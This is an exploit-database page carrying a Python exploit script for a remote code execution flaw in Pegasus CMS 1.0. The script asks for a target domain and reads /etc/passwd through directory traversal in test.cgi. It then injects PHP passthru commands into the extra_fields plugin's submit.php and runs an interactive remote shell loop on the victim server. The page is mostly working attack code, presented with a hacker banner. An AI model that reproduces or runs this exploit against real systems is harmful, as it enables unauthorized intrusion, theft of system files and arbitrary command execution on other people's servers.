Lucene search
K

Pegasus CMS 1.0 Remote Code Execution

🗓️ 14 Mar 2019 00:00:00Reported by R3zk0nType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Pegasus CMS 1.0 Remote Code Execution vulnerabilit

Code
`# Exploit Title: Pegasus extra_fields.php Plugin Remote Code Execution  
# Date: 14 March 2019  
# Exploit Author: R3zk0n  
# Vendor Homepage: https://www.wisdom.com.au/web/pegasus-cms  
# Software Link: N/A  
# Version: 1.0  
# Tested on: Linux  
# CVE : N/A  
  
The Pegasus CMS is vulnerable to directory travaseral and Remote code execution due to the way the extra_fields.php plugin functions.   
  
The Plugin can be exploited using the safer eval trick linked below http://justanotherhacker.com/2016/04/analysis_of_the_safer_eval_rce_aka__the_wahckon_bug.html to obtain remote code execution  
  
Exploit attached below:  
  
#Eval is secure.. not really.  
# These Greetz to people who are smart, Wireghoul, Nano, Silverly, m3mantra, and leostat. and z3al  
requests.packages.urllib3.disable_warnings()  
banner = '''  
Welcome to the DANGER ZONE.  
;;J,ss,g,;  
,s#@##"""77"^""77""@@Mw,  
,#@#C7: ,, *^*@@@w  
;@#7. ;#@#. ]ssmMMm#@@@m,  
,##\` ,< ,@@@@Q ,,#@#*7` ;s@@@@@@@@@Q  
;@#` ]@C ;@@@@@@@@@@"\ ;@@@@@@@@@@@@@@@m  
@#\ #@@w#@@@@@@@@@@#~ @@@#M5"7j5#@@@@@@@@Q  
;@C @@@@@@@@@@@@@@#\ @#\, *77@@@k  
##. #@@@@@@@@@@@@@# '* {@@@  
@#` a@@@@@@@@@@@@@@L *%@@  
{@* ]@@@@@@@@@@@@@@#C* "@@  
.@b;,s#@@@@@@@#@@#@@@@@@#C* ;s#@@@@@@m, j@b  
@@@#@@@@@@@@@@@@@@@@@@#C =* ,ppJJs#@@@@@@@@@@@@@k @@  
@#1@@@@@@@@@@@@@@@@#W~ ;@QQ@@@@@@@@@#` `|7@@@@~ ]@p  
@[ @@5"@@@@@@@@@@#~ s@@@@@####@@@@@#\ @@@b ]@b  
@[ @ j@@@@@@@@~]#"7 "@@#"\ 7@@C @@@b ]@b  
@@ @@@@@@@@@@c ^@@ ]@ ,@@@# @@b  
@@~ @ @@@@@@@@@@@b @# a@@@@" ]@@  
j@Q @@@@@@@@@@@@@@@@o ,J ]\ s@@@@#"` ]@@L  
]@b ]@@@@@@@@@@@@@@@@o ,@@@@> ;@@@@@#^ #@@#  
@@Q """%*577"%@@@@@@# ]@@@@@C ;@@@@#C ;@@@#*  
%@m @@@@@@@ .@@@@@# {@@@@@> s@@@@#*  
7@@ @@M@@@@@k ^@@@"# @@@@@@@@@@@@@@@#  
*@@m @@bj@@@b@@@o|"^]# %@@@@@@#M7@@#^  
7@@m "# @@# @@7@@@@@@~ ^||:`,#@#C  
^%@@m j @b j# \@@@@@@ ,#@@#  
`7@@@mJ 7 ' |%@@@@@m, -g,ss#@@@@#C  
`7%@@@Mm, `7"%####@@MMMM#@@@#M7.  
^7@@@@@@@@@@@@@@@@@@@@#MT^:  
`~^"7""""7^\*:  
Chimeria Exploit.  
pegausCMS Exploit's.  
'''  
  
  
print banner  
  
  
raw_url = raw_input("Please enter a domain name: \n")  
  
  
def dir_Trav(raw_url):  
print "Checking for directory travseral..\n"  
dir_list = requests.get("https://www."+ raw_url + "/file/includes/template/inc/test.cgi?&filename=/../../../../../../../../etc/passwd", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", "Cache-Control": "max-age=0"})  
print dir_list.content  
return  
print "Trying to execute directory travseral"  
dir_Trav(raw_url)  
r = requests.get("http://" + raw_url)  
print "Checking Status code: %s" % r.status_code  
if r.status_code == 200:  
print "Connected"  
print "Checking is using vulnerable CMS."  
vuln = "http://" + raw_url + "/file/includes/plugins/globalFields/submit.php"  
b = requests.get("http://" + raw_url + "/file/includes/plugins/globalFields/submit.php")  
print "Checking CMS Status: %s " % b.status_code  
if b.status_code == 200:  
print "Seems exploitable.. Lets try to list the files!"  
  
  
  
print raw_url  
list_files = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"ls -lah\");exit;phpinfo"})  
print list_files.content  
status = list_files.status_code  
while status == 200:  
try:  
ShellCheck = raw_input("Shell>").strip()  
  
Shell = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"{}\");exit;phpinfo".format(ShellCheck)})  
  
print Shell.content  
if ShellCheck == "exit":  
sys.exit(0)  
except KeyboardInterrupt:  
print "Your exited bye"  
sys.exit(0)  
  
else:  
print "Connected but does not seem exploitable. \n"  
print "Bye!!!!!!!!!! \n"  
  
  
  
  
else:  
print "Not connected"  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation